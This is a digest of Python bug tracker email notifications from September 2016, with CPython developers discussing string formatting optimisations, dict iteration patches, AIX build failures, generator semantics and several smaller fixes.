Message-ID: <1475124986.0.0.533116135841.issue28293@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The re module now depends on the enum module, and the latter already depends on OrderedDict. Thus the patch doesn't introduce new dependency. Python implementation of OrderedDict doesn't override __getitem__ and therefore don't slow down the common case. I considered all this.

In contrary, Python implementation of lru_cache slows down the code (that is why using it was dropped in the past). But I did not object to this because re.sub() is less used than re.match() or re.search() and already is much slower.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28293>
_______________________________________

From report at bugs.python.org  Thu Sep 29 01:13:55 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 05:13:55 +0000
Subject: [issue28275] LZMADecompressor.decompress Use After Free
In-Reply-To: <1474864416.3.0.139133662072.issue28275@psf.upfronthosting.co.za>
Message-ID: <1475126035.2.0.40630526711.issue28275@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

LGTM. And may be worth to rewrite lzma test in your style.

----------
resolution: fixed -> 
stage: resolved -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28275>
_______________________________________

From report at bugs.python.org  Thu Sep 29 02:17:26 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 29 Sep 2016 06:17:26 +0000
Subject: [issue1703178] link_objects in setup.cfg crashes build
Message-ID: <20160929061722.85577.20119.02791D17@psf.io>


Roundup Robot added the comment:

New changeset 520ca3652422 by Benjamin Peterson in branch '2.7':
build_ext: correctly parse the link_objects user option (closes #1703178)
https://hg.python.org/cpython/rev/520ca3652422

New changeset b2f0a31fa441 by Benjamin Peterson in branch '3.5':
build_ext: correctly parse the link_objects user option (closes #1703178)
https://hg.python.org/cpython/rev/b2f0a31fa441

New changeset eac20127d51e by Benjamin Peterson in branch '3.6':
merge 3.5 (#1703178)
https://hg.python.org/cpython/rev/eac20127d51e

New changeset 9485165435e4 by Benjamin Peterson in branch 'default':
merge 3.6 (#1703178)
https://hg.python.org/cpython/rev/9485165435e4

----------
nosy: +python-dev
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1703178>
_______________________________________

From report at bugs.python.org  Thu Sep 29 03:47:29 2016
From: report at bugs.python.org (INADA Naoki)
Date: Thu, 29 Sep 2016 07:47:29 +0000
Subject: [issue24274] erroneous comments in dictobject.c
In-Reply-To: <1432442952.38.0.376658937682.issue24274@psf.upfronthosting.co.za>
Message-ID: <1475135249.69.0.696005902115.issue24274@psf.upfronthosting.co.za>


Changes by INADA Naoki <songofacandy at gmail.com>:


----------
keywords: +patch
Added file: http://bugs.python.org/file44875/lookdict_unicode_comment.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24274>
_______________________________________

From report at bugs.python.org  Thu Sep 29 04:10:51 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Thu, 29 Sep 2016 08:10:51 +0000
Subject: [issue28298] can't set big int-like objects to items in array 'Q',
 'L' and 'I'
In-Reply-To: <1475057375.91.0.35024252276.issue28298@psf.upfronthosting.co.za>
Message-ID: <1475136651.17.0.493436612616.issue28298@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

One comment here: it's not the presence of `__int__` that makes a type integer-like; it's the presence of `__index__`. (Decimal and float both supply `__int__`, but shouldn't be regarded as integer-like, for example.) I'm guessing that we're going to have the same issues with `__index__` in place of `__int__`, though.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28298>
_______________________________________

From report at bugs.python.org  Thu Sep 29 04:13:24 2016
From: report at bugs.python.org (Senthil Kumaran)
Date: Thu, 29 Sep 2016 08:13:24 +0000
Subject: [issue28294] HTTPServer server.py assumes sys.stderr != None
In-Reply-To: <1475046504.95.0.666561329413.issue28294@psf.upfronthosting.co.za>
Message-ID: <1475136804.78.0.63318852356.issue28294@psf.upfronthosting.co.za>


Senthil Kumaran added the comment:

Using logging, instead of sys.stderr would be a welcome change in this module.

----------
keywords: +easy, needs review
nosy: +orsenthil

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28294>
_______________________________________

From report at bugs.python.org  Thu Sep 29 04:45:50 2016
From: report at bugs.python.org (INADA Naoki)
Date: Thu, 29 Sep 2016 08:45:50 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1475138750.45.0.878281446627.issue28183@psf.upfronthosting.co.za>


INADA Naoki added the comment:

recreate patch with different option, since Rietveld doesn't accept dict_iter5.patch

----------
Added file: http://bugs.python.org/file44876/dict_iter6.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Thu Sep 29 04:49:56 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 08:49:56 +0000
Subject: [issue28307] Accelerate 'string' % (value,
 ...) by using formatted string literals
Message-ID: <1475138996.48.0.897803092987.issue28307@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

For now using formatted string literals (PEP498) is the fastest way of formatting strings.

$ ./python -m perf timeit -s 'k = "foo"; v = "bar"' -- '"%s = %r" % (k, v)'
Median +- std dev: 2.27 us +- 0.20 us

$ ./python -m perf timeit -s 'k = "foo"; v = "bar"' -- 'f"{k!s} = {v!r}"'
Median +- std dev: 1.09 us +- 0.08 us

The compiler could translate C-style formatting with literal format string to the equivalent formatted string literal. The code '%s = %r' % (k, v) could be translated to

    t1 = k; t2 = v; f'{t1!r} = {t2!s}'; del t1, t2

or even simpler if k and v are initialized local variables.

$ ./python -m perf timeit -s 'k = "foo"; v = "bar"' -- 't1 = k; t2 = v; f"{t1!s} = {t2!r}"; del t1, t2'
Median +- std dev: 1.22 us +- 0.05 us

This is not easy issue and needs first implementing the AST optimizer.

----------
components: Interpreter Core
messages: 277688
nosy: eric.smith, serhiy.storchaka
priority: low
severity: normal
status: open
title: Accelerate 'string' % (value, ...) by using formatted string literals
type: performance
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28307>
_______________________________________

From report at bugs.python.org  Thu Sep 29 04:50:04 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 08:50:04 +0000
Subject: [issue28308] Accelerate 'string'.format(value,
 ...) by using formatted string literals
Message-ID: <1475139004.07.0.645331102167.issue28308@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

For now using formatted string literals (PEP498) is the fastest way of formatting strings.

$ ./python -m perf timeit -s 'k = "foo"; v = "bar"' -- '"{!s} = {!r}".format(k, v)'
Median +- std dev: 3.96 us +- 0.17 us

$ ./python -m perf timeit -s 'k = "foo"; v = "bar"' -- 'f"{k!s} = {v!r}"'
Median +- std dev: 1.09 us +- 0.08 us

The compiler could translate new-style formatting with literal format string to the equivalent formatted string literal. The code '{!s} = {!r}'.format(k, v) could be translated to

    t1 = k; t2 = v; f'{t1!r} = {t2!s}'; del t1, t2

or even simpler if k and v are initialized local variables.

$ ./python -m perf timeit -s 'k = "foo"; v = "bar"' -- 't1 = k; t2 = v; f"{t1!s} = {t2!r}"; del t1, t2'
Median +- std dev: 1.22 us +- 0.05 us

This is not easy issue and needs first implementing the AST optimizer.

----------
components: Interpreter Core
messages: 277689
nosy: eric.smith, serhiy.storchaka
priority: low
severity: normal
status: open
title: Accelerate 'string'.format(value, ...) by using formatted string literals
type: performance
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28308>
_______________________________________

From report at bugs.python.org  Thu Sep 29 04:50:19 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 08:50:19 +0000
Subject: [issue28307] Accelerate 'string' % (value,
 ...) by using formatted string literals
In-Reply-To: <1475138996.48.0.897803092987.issue28307@psf.upfronthosting.co.za>
Message-ID: <1475139019.52.0.0812135868544.issue28307@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
dependencies: +Build-out an AST optimizer, moving some functionality out of the peephole optimizer

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28307>
_______________________________________

From report at bugs.python.org  Thu Sep 29 04:50:26 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 08:50:26 +0000
Subject: [issue28308] Accelerate 'string'.format(value,
 ...) by using formatted string literals
In-Reply-To: <1475139004.07.0.645331102167.issue28308@psf.upfronthosting.co.za>
Message-ID: <1475139026.55.0.427946858236.issue28308@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
dependencies: +Build-out an AST optimizer, moving some functionality out of the peephole optimizer

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28308>
_______________________________________

From report at bugs.python.org  Thu Sep 29 05:01:26 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 09:01:26 +0000
Subject: [issue28309] Accelerate string.Template by using formatted string
 literals
Message-ID: <1475139686.03.0.137512666256.issue28309@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Proposed patch makes string.Template compiling template to formatted string literal. Since for now using formatted string literals is the fastest way of formatting strings, this significantly speeds up Template substitution.

$ ./python -m perf timeit -s 'from string import Template; s = Template("$who likes $what")' -- 's.substitute(who="tim", what="ham")'

Unpatched:  Median +- std dev: 46.1 us +- 4.2 us
Patched:    Median +- std dev: 11.1 us +- 0.5 us

The drawback is that compiling template adds high overhead.

$ ./python -m perf timeit -s 'from string import Template' -- 's = Template("$who likes $what"); s.substitute(who="tim", what="ham")'

Unpatched:  Median +- std dev: 51.7 us +- 1.5 us
Patched:    Median +- std dev: 672 us +- 38 us

The benefit of using compiled templates is achieved only if make at least 20 substitutions with the same template.

Third-party template engines can use the same approach in Python 3.6+.

----------
components: Library (Lib)
messages: 277690
nosy: eric.smith, georg.brandl, serhiy.storchaka
priority: low
severity: normal
status: open
title: Accelerate string.Template by using formatted string literals
type: performance
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28309>
_______________________________________

From report at bugs.python.org  Thu Sep 29 05:02:10 2016
From: report at bugs.python.org (Markus Unterwaditzer)
Date: Thu, 29 Sep 2016 09:02:10 +0000
Subject: [issue28310] Mixing yield and return with value is allowed
Message-ID: <1475139730.96.0.643080676334.issue28310@psf.upfronthosting.co.za>


New submission from Markus Unterwaditzer:

The attached example code raises a SyntaxError in Python 2, but is syntactically valid in Python 3. The return value is ignored and an empty generator is produced. I see no reason for this behavioral change.

----------
components: Interpreter Core
files: lol.py
messages: 277691
nosy: untitaker
priority: normal
severity: normal
status: open
title: Mixing yield and return with value is allowed
versions: Python 3.3, Python 3.4, Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44877/lol.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28310>
_______________________________________

From report at bugs.python.org  Thu Sep 29 05:02:14 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 09:02:14 +0000
Subject: [issue28309] Accelerate string.Template by using formatted string
 literals
In-Reply-To: <1475139686.03.0.137512666256.issue28309@psf.upfronthosting.co.za>
Message-ID: <1475139734.91.0.778302170915.issue28309@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
keywords: +patch
Added file: http://bugs.python.org/file44878/faster_template.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28309>
_______________________________________

From report at bugs.python.org  Thu Sep 29 05:03:55 2016
From: report at bugs.python.org (Michael Felt)
Date: Thu, 29 Sep 2016 09:03:55 +0000
Subject: [issue28311] AIX shared library extension modules installation broken
 - Python2.7
Message-ID: <1475139835.31.0.110522529855.issue28311@psf.upfronthosting.co.za>


New submission from Michael Felt:

issue#25825 is closed - and had python2.7 removed - so, want to mention there is something broken - a long time it would seem on AIX - for building packages after python and ensurepip are installed.

Currently trying to pip install mercurial; later a regular "make build"

PIP INSTALL

    running build_ext
    building 'mercurial.base85' extension
    creating build/temp.aix-5.3-2.7
    creating build/temp.aix-5.3-2.7/mercurial
    xlc_r -I/opt/include -I/opt/buildaix/include -O2 -DNDEBUG -O -I/opt/include/python2.7 -c mercurial/base85.c -o build/temp.aix-5.3-2.7/mercurial/base85.o
    ./Modules/ld_so_aix xlc_r -bI:./Modules/python.exp build/temp.aix-5.3-2.7/mercurial/base85.o -o build/lib.aix-5.3-2.7/mercurial/base85.so
    unable to execute './Modules/ld_so_aix': No such file or directory
    error: command './Modules/ld_so_aix' failed with exit status 1

    ----------------------------------------
    Command "/opt/bin/python -c "import setuptools, tokenize;__file__='/tmp/pip-build-zmElG2/mercurial/setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-0lo0Bk-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-build-zmElG2/mercurial

MAKE BUILD
root at x064:[/data/prj/python/mercurial/mercurial-3.9.1]/opt/bin/make PREFIX=/opt/ build
python setup.py  build
running build
running build_mo
running build_py
copying mercurial/__modulepolicy__.py -> build/lib.aix-5.3-2.7/mercurial
running build_ext
building 'mercurial.base85' extension
xlc_r -I/opt/include -I/opt/buildaix/include -O2 -DNDEBUG -O -I/opt/include/python2.7 -c mercurial/base85.c -o build/temp.aix-5.3-2.7/mercurial/base85.o
./Modules/ld_so_aix xlc_r -bI:./Modules/python.exp build/temp.aix-5.3-2.7/mercurial/base85.o -o build/lib.aix-5.3-2.7/mercurial/base85.so
unable to execute './Modules/ld_so_aix': No such file or directory
error: command './Modules/ld_so_aix' failed with exit status 1
Makefile:55: recipe for target 'build' failed
make: *** [build] Error 1


Problem seems to be in _sysconfigdata.py

root at x064:[/opt/lib/python2.7]grep ld_so_aix *.py
_sysconfigdata.py: 'BLDSHARED': './Modules/ld_so_aix xlc_r -bI:./Modules/python.exp',
_sysconfigdata.py: 'LDCXXSHARED': '/opt/lib/python2.7/config/ld_so_aix xlc_r -bI:/opt/lib/python2.7/config/python.exp',
_sysconfigdata.py: 'LDSHARED': './Modules/ld_so_aix xlc_r -bI:./Modules/python.exp',

SOLUTION:
set LDSHARED to same value as LDSHARED, i.e.,
'LDSHARED': '/opt/lib/python2.7/config/ld_so_aix xlc_r -bI:/opt/lib/python2.7/config/python.exp'

If this has already be done for Python2.7 - then perhaps issue#25825 should have Python2.7 restored - and this closed.

Otherwise - please repair.

----------
messages: 277692
nosy: Michael.Felt
priority: normal
severity: normal
status: open
title: AIX shared library extension modules installation broken - Python2.7
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28311>
_______________________________________

From report at bugs.python.org  Thu Sep 29 05:04:28 2016
From: report at bugs.python.org (Michael Felt)
Date: Thu, 29 Sep 2016 09:04:28 +0000
Subject: [issue28311] AIX shared library extension modules installation broken
 - Python2.7
In-Reply-To: <1475139835.31.0.110522529855.issue28311@psf.upfronthosting.co.za>
Message-ID: <1475139868.55.0.683756582302.issue28311@psf.upfronthosting.co.za>


Changes by Michael Felt <aixtools at gmail.com>:


----------
type:  -> compile error

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28311>
_______________________________________

From report at bugs.python.org  Thu Sep 29 05:04:43 2016
From: report at bugs.python.org (Michael Felt)
Date: Thu, 29 Sep 2016 09:04:43 +0000
Subject: [issue28311] AIX shared library extension modules installation broken
 - Python2.7
In-Reply-To: <1475139835.31.0.110522529855.issue28311@psf.upfronthosting.co.za>
Message-ID: <1475139883.47.0.840724607987.issue28311@psf.upfronthosting.co.za>


Changes by Michael Felt <aixtools at gmail.com>:


----------
type: compile error -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28311>
_______________________________________

From report at bugs.python.org  Thu Sep 29 05:09:55 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Thu, 29 Sep 2016 09:09:55 +0000
Subject: [issue28308] Accelerate 'string'.format(value,
 ...) by using formatted string literals
In-Reply-To: <1475139004.07.0.645331102167.issue28308@psf.upfronthosting.co.za>
Message-ID: <1475140195.35.0.377146880368.issue28308@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

One thing to be careful of here is that there's one slight difference between how str.format() and f-strings handle indexing of values. f-strings, of course, use normal Python semantics, but 
str.format() treats indexing by things that don't look like integers as string literals, not variables. It's an unfortunate left-over from the original PEP-3101 specification:

>>> d = {'a':'string', 0:'integer'}
>>> a = 0
>>> f'{d[0]}'
'integer'
>>> '{d[0]}'.format(d=d)
'integer'
>>> f'{d[a]}'
'integer'
>>> '{d[a]}'.format(d=d)
'string'

Note that the exact same expression {d[a]} is evaluated differently by the two ways to format.

There's a test for this in test_fstring.py.

Someday, I'd like to deprecate this syntax in str.format(). I don't think it could ever be added back in, because it requires either additional named parameters which aren't used as formatting parameters, or it requires global/local lookups (which isn't going to happen).

i.e., this:
'{d[a]}'.format(d=d, a=a)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28308>
_______________________________________

From report at bugs.python.org  Thu Sep 29 05:29:46 2016
From: report at bugs.python.org (INADA Naoki)
Date: Thu, 29 Sep 2016 09:29:46 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1475141386.93.0.318410630405.issue28183@psf.upfronthosting.co.za>


Changes by INADA Naoki <songofacandy at gmail.com>:


Added file: http://bugs.python.org/file44879/dict_iter7.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Thu Sep 29 05:42:27 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Thu, 29 Sep 2016 09:42:27 +0000
Subject: [issue28307] Accelerate 'string' % (value,
 ...) by using formatted string literals
In-Reply-To: <1475138996.48.0.897803092987.issue28307@psf.upfronthosting.co.za>
Message-ID: <1475142147.68.0.292624671492.issue28307@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

There isn't a direct mapping between %-formatting and __format__ format specifiers. Off the top of my head, I can think of at least one difference:

>>> '%i' % 3
'3'
>>> '{:i}'.format(3)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: Unknown format code 'i' for object of type 'int'

So you'll need to be careful with edge cases like this.

Also, for all usages of %s, remember to call str() (or add !s):

>>> '%s' % 1
'1'
>>> f'{1:s}'
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: Unknown format code 's' for object of type 'int'
>>> f'{1!s:s}'
'1'

Although that also reminds me of this default alignment difference:
>>> x=0
>>> '%2s' % x
' 0'
>>> f'{x!s:2s}'
'0 '
>>> f'{x!s:>2s}'
' 0'

So, in general, the mapping will be difficult. On the other hand, if you can do it, and provide a function that maps between %-formatting codes and __format__ codes, then that might be a generally useful tool.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28307>
_______________________________________

From report at bugs.python.org  Thu Sep 29 06:12:38 2016
From: report at bugs.python.org (Michael Felt)
Date: Thu, 29 Sep 2016 10:12:38 +0000
Subject: [issue28312] Minor change - more direct hint re: multiple machine
 sizes and LONG_BIT conflicts
Message-ID: <1475143958.19.0.0194605363834.issue28312@psf.upfronthosting.co.za>


New submission from Michael Felt:

I have been trying to build (pip install) mercurial - for ages. I kept running into this message:

    "/opt/include/python2.7/pyport.h", line 887.2: 1506-205 (S) #error "LONG_BIT definition appears wrong for platform (bad gcc/glibc config?)."

And - finally, I figured out what I -- WAS -- doing wrong.

I package python as 64-bit, but when I just install python and then try pip install mercurial the message shows up.

The problem goes away when I first export OBJECT_MODE

export OBJECT_MODE=64

The little enhancement would be to change the hint from

... (bad gcc/glibc config?) to something that hints at
machine size, e.g., (bad default bit-size for compiler?)

----------
messages: 277695
nosy: Michael.Felt
priority: normal
severity: normal
status: open
title: Minor change - more direct hint re: multiple machine sizes and LONG_BIT conflicts
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28312>
_______________________________________

From report at bugs.python.org  Thu Sep 29 06:22:52 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Thu, 29 Sep 2016 10:22:52 +0000
Subject: [issue28310] Mixing yield and return with value is allowed
In-Reply-To: <1475139730.96.0.643080676334.issue28310@psf.upfronthosting.co.za>
Message-ID: <1475144572.36.0.374406018338.issue28310@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

`return value` is allowed in a generator to support `yield from'. You can read https://www.python.org/dev/peps/pep-0380 for the entire story.

----------
nosy: +xiang.zhang
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28310>
_______________________________________

From report at bugs.python.org  Thu Sep 29 06:29:09 2016
From: report at bugs.python.org (Michael Felt)
Date: Thu, 29 Sep 2016 10:29:09 +0000
Subject: [issue28277] ./Modules/_io/_iomodule.c build failure on AIX (beta1)
 while (a2) was fine.
In-Reply-To: <1474891390.34.0.856416386783.issue28277@psf.upfronthosting.co.za>
Message-ID: <1475144949.37.0.756124612963.issue28277@psf.upfronthosting.co.za>


Michael Felt added the comment:

yes. It is what I did manually. Thanks!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28277>
_______________________________________

From report at bugs.python.org  Thu Sep 29 06:34:48 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 29 Sep 2016 10:34:48 +0000
Subject: [issue28310] Mixing yield and return with value is allowed
In-Reply-To: <1475139730.96.0.643080676334.issue28310@psf.upfronthosting.co.za>
Message-ID: <1475145288.53.0.306081891725.issue28310@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> The return value is ignored and an empty generator is produced.

It's not ignored: it is passed in the argument of the StopIterator object.

> You can read https://www.python.org/dev/peps/pep-0380 for the entire story.

See also the PEP 479 (Change StopIteration handling inside generators) and PEP 492 (Coroutines with async and await syntax).

In short, it's a nice Python 3 feature, not a bug ;-)

----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28310>
_______________________________________

From report at bugs.python.org  Thu Sep 29 06:37:09 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 29 Sep 2016 10:37:09 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1475145429.93.0.327948868529.issue28183@psf.upfronthosting.co.za>


STINNER Victor added the comment:

dict_iter7.patch LGTM, go ahead. Just dont forget to mention Serhiy Storchaka as the co-author ;-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Thu Sep 29 06:44:19 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 10:44:19 +0000
Subject: [issue28307] Accelerate 'string' % (value,
 ...) by using formatted string literals
In-Reply-To: <1475138996.48.0.897803092987.issue28307@psf.upfronthosting.co.za>
Message-ID: <1475145859.32.0.825907015459.issue28307@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

'%s' % x should be translated to f'{x!s}', not to f'{x:s}'. Only %s, %r and %a can be supported. Formatting with %i should left untranslated. Or maybe translate '%r: %i' % (a, x) to f'{a!r}: {"%i" % x}'.

It is possible also to introduce special opcodes that converts argument to exact int or float. Then '%06i' % x could be translated to f'{__exact_int__(x):06}'.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28307>
_______________________________________

From report at bugs.python.org  Thu Sep 29 06:45:35 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 10:45:35 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1475145935.23.0.269195879163.issue28183@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Please wait until I merge my changes.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Thu Sep 29 08:01:36 2016
From: report at bugs.python.org (Antti Haapala)
Date: Thu, 29 Sep 2016 12:01:36 +0000
Subject: [issue28307] Accelerate 'string' % (value,
 ...) by using formatted string literals
In-Reply-To: <1475138996.48.0.897803092987.issue28307@psf.upfronthosting.co.za>
Message-ID: <1475150496.92.0.19880930146.issue28307@psf.upfronthosting.co.za>


Antti Haapala added the comment:

Serhiy, you actually did make a mistake above; `'%s' % x` cannot be rewritten as `f'{x!s}'`, only `'%s' % (x,)` can be optimized... 

(just try with `x = 1, 2`)

----------
nosy: +ztane

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28307>
_______________________________________

From report at bugs.python.org  Thu Sep 29 08:40:20 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 12:40:20 +0000
Subject: [issue28307] Accelerate 'string' % (value,
 ...) by using formatted string literals
In-Reply-To: <1475138996.48.0.897803092987.issue28307@psf.upfronthosting.co.za>
Message-ID: <1475152820.76.0.859947040458.issue28307@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Thanks for the correction Antti. Yes, this is what I initially meant. This optimization is applicable only if the left argument of % is a literal string and the right argument is a tuple expression. Saying about `'%s' % x` I meant a component of the tuple.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28307>
_______________________________________

From report at bugs.python.org  Thu Sep 29 08:48:44 2016
From: report at bugs.python.org (Oren Milman)
Date: Thu, 29 Sep 2016 12:48:44 +0000
Subject: [issue28298] can't set big int-like objects to items in array 'Q',
 'L' and 'I'
In-Reply-To: <1475057375.91.0.35024252276.issue28298@psf.upfronthosting.co.za>
Message-ID: <1475153324.31.0.0116868910752.issue28298@psf.upfronthosting.co.za>


Oren Milman added the comment:

You are right about the terminology of course. My bad.

Anyway, the bug is not related to __index__ (or nb_index), because the three aforementioned functions are using (in case '!PyLong_Check(v)') PyArg_Parse with the formats 'l' or 'L'.
Ultimately, convertsimple (in Python/getargs.c) would call PyLong_AsLong or PyLong_AsLongLong (respectively).
These two (in case '!PyLong_Check(v)') only try to use nb_int, as documented:
    * https://docs.python.org/3.7/c-api/long.html?highlight=pylong_aslong#c.PyLong_AsLong
    * https://docs.python.org/3.7/c-api/long.html?highlight=pylong_aslong#c.PyLong_AsLongLong

But just in case, I ran the following:
    import array
    class LikeInt:
        def __init__(self, intVal):
            self.intVal = intVal
        def __index__(self):
            return self.intVal
    array.array('L').append(LikeInt(0))
and got a 'TypeError: an integer is required (got type LikeInt)'

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28298>
_______________________________________

From report at bugs.python.org  Thu Sep 29 09:12:14 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 13:12:14 +0000
Subject: [issue27942] Default value identity regression
In-Reply-To: <1472834737.57.0.822205168917.issue27942@psf.upfronthosting.co.za>
Message-ID: <1475154734.15.0.981255334616.issue27942@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
assignee:  -> serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27942>
_______________________________________

From report at bugs.python.org  Thu Sep 29 10:14:44 2016
From: report at bugs.python.org (Mariatta Wijaya)
Date: Thu, 29 Sep 2016 14:14:44 +0000
Subject: [issue28294] HTTPServer server.py assumes sys.stderr != None
In-Reply-To: <1475046504.95.0.666561329413.issue28294@psf.upfronthosting.co.za>
Message-ID: <1475158484.76.0.239072656543.issue28294@psf.upfronthosting.co.za>


Mariatta Wijaya added the comment:

I'm interested to work on a patch for this, if no one started yet.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28294>
_______________________________________

From report at bugs.python.org  Thu Sep 29 11:28:28 2016
From: report at bugs.python.org (qubodup)
Date: Thu, 29 Sep 2016 15:28:28 +0000
Subject: [issue28313] ttk Style().configure() overwrites Tk().option_add()
 Button but not Label
Message-ID: <1475162908.88.0.380159075782.issue28313@psf.upfronthosting.co.za>


New submission from qubodup:

The following code will result in a small label and a big button:

from tkinter import *
from tkinter.ttk import *

root = Tk()

root.option_add("*Font", "sans-serif 12")

s = Style()
s.configure('TButton', font=('courier', 40))
s.configure('TLabel', font=('courier', 40))

Label(root, text="lbl").pack()
Button(root, text="bttn").pack()

root.mainloop()


It seems to me that both should have the same style. Removing the root.option_add line fixes it of course but this is a stripped-down example and in other cases it might be needed.

----------
components: Tkinter
files: 1475162805-.png
messages: 277706
nosy: qubodup
priority: normal
severity: normal
status: open
title: ttk Style().configure() overwrites Tk().option_add() Button but not Label
type: behavior
versions: Python 3.5
Added file: http://bugs.python.org/file44880/1475162805-.png

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28313>
_______________________________________

From report at bugs.python.org  Thu Sep 29 12:15:19 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Thu, 29 Sep 2016 16:15:19 +0000
Subject: [issue28298] can't set big int-like objects to items in array 'Q',
 'L' and 'I'
In-Reply-To: <1475057375.91.0.35024252276.issue28298@psf.upfronthosting.co.za>
Message-ID: <1475165719.88.0.159149224675.issue28298@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

> and got a 'TypeError: an integer is required (got type LikeInt)'

Right, see #12974 for more on arrays, `__int__` and `__index__`.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28298>
